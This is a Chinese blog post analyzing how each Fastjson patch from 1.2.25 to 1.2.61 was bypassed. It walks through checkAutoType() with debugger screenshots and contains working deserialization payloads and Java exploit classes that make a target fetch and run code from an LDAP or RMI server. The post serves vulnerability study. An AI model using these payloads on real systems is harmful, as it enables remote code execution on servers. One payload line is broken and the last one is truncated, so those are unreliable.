Java安全-Fastjson各版本绕过分析

Java安全-Fastjson各版本绕过分析

这篇主要是讲一下Fastjson中版本>=1.2.25后补丁的绕过方式

tips: 都必须开启AutoTypeSupport才能成功

分析 Fastjson 1.2.25 版本是如何修复漏洞的

checkAutoType()

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数:

checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。

默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了。

运行能看到报错信息,说autoType不支持该类:

![]/img/fastjson\f26.png)

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

小结补丁手段

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的

1.2.25 - 1.2.41 补丁绕过

EXP

看了别人的 payload,意思是简单绕过,既然 sun 包里面的这个 JdbcRowSetImpl 类被 ban 了,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过

  • 然后开启 AutoTypeSupport

依旧是使用我们的yakit开启反连服务器生成一个payload直接传入并连接

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class SuccessBypassEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:7777/jDYhqpFh\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

![]/img/fastjson\f27.png)

调试分析

调试一下看看是怎么绕过的

  • 断点下在 ParseConfigcheckAutoType() 方法

一路跟进,直接来到这里黑名单过滤的地方

![]/img/fastjson\f28.png)

可以看到能够顺利绕过

然后会走到一个特别重要与核心的方法 –loadClass(),它隶属的类是 TypeUTtils

![]/img/fastjson\f29.png)

直接步入

进来之后看到我们绕过方法能执行的原因

这行代码的意思是,如果传入的类名开头是L,结尾是;,就把这个L和;替换为空白

![]/img/fastjson\f30.png)

所以这里返回过来的就是 com.sun.rowset.JdbcRowSetImpl 了,就可以进行我们的恶意利用

![]/img/fastjson\f31.png)

1.2.25-1.2.42 补丁绕过

EXP

EXP 是这样的

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:7777/jDYhqpFh",
"autoCommit":"true"
}

这里代码运行的逻辑是,如果还是按照我们的 EXP 写的话,Fastjson 会先行提取 L;,也就是逻辑不准确,所以我们这里可以直接写两个来绕过

当然这个也是能顺利弹出计算器的

![]/img/fastjson\f32.png)

1.2.25-1.2.43 补丁绕过

EXP

直接给出payload:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

关键PoC:[com.sun.rowset.JdbcRowSetImpl

如果我们一开始payload直接这样写是会报错的:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:

调试分析

调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错:

但是以 ”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

![]/img/fastjson\f33.png)

看到顺利加载了我们想要的类

![]/img/fastjson\f34.png)

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:

![]/img/fastjson\f35.png)

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:

img

把这些条件一一满足后,就能成功利用了

1.2.25-1.2.45补丁绕过

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常

绕过利用 EXP

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

导入pom,(不知道为什么3.5.2版本也能行)

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>

直接给出payload,要连LDAP或RMI都可以:

1
2
3
4
5
6
7
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"ldap://127.0.0.1:7777/jDYhqpFh"
}
}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

exp

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

// Fastjson 1.2.41 版本的绕过
public class SuccessBypassEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:7777/jDYhqpFh"}}";
JSON.parse(payload);
}
}

运行一下

顺利弹出计算器

![]/img/fastjson\f36.png)

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

![]/img/fastjson\f37.png)

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的:

但是这里我们要记得这个lookup,jndi注入点利用是对jdk版本有限制的

![]/img/fastjson\f38.png)

传入远程地址

![]/img/fastjson\f39.png)

之后的流程就是我们在jndi注入分析过的

程序运行完成后会顺利弹出计算器

1.2.25-1.2.47补丁绕过

EXP

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过 java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

Demo如下,无需开启AutoTypeSupport,本地Fastjson用的是1.2.47版本:

EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://127.0.0.1:7777/jDYhqpFh\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

运行程序后顺利弹出计算器

![]/img/fastjson\f40.png)

调试分析

实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

![]/img/fastjson\f41.png)

checkAutoType结束后开始反序列化

![]/img/fastjson\f42.png)

这里调用了MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

![]/img/fastjson\f43.png)

看到这里传入的值就是我们要调用的类

![]/img/fastjson\f44.png)

接着判断clazz到底是什么类

满足clazz=Class.class的条件,调用TypeUtils.loadClass进行类加载

![]/img/fastjson\f45.png)

跟进一下

看到类加载后放到Map缓冲区

![]/img/fastjson\f46.png)

继续跟进,开始解析key值为b的json数据

由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测:

![]/img/fastjson\f47.png)

补丁分析

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,看看是怎样修的。1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1.2.48版本:

1.2.47版本:

![]/img/fastjson\f48.png)

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:

Fastjson <= 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

需要开启 autoType:

1
2
3
4
{"@type":"oracle.jdbc.connector.OracleManagedConn
ctionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Explo

Java安全-Fastjson各版本绕过分析
http://huang-d1.github.io/2025/10/04/Java安全-Fastjson各版本绕过分析/
作者
huangdi
发布于
2025年10月4日
许可协议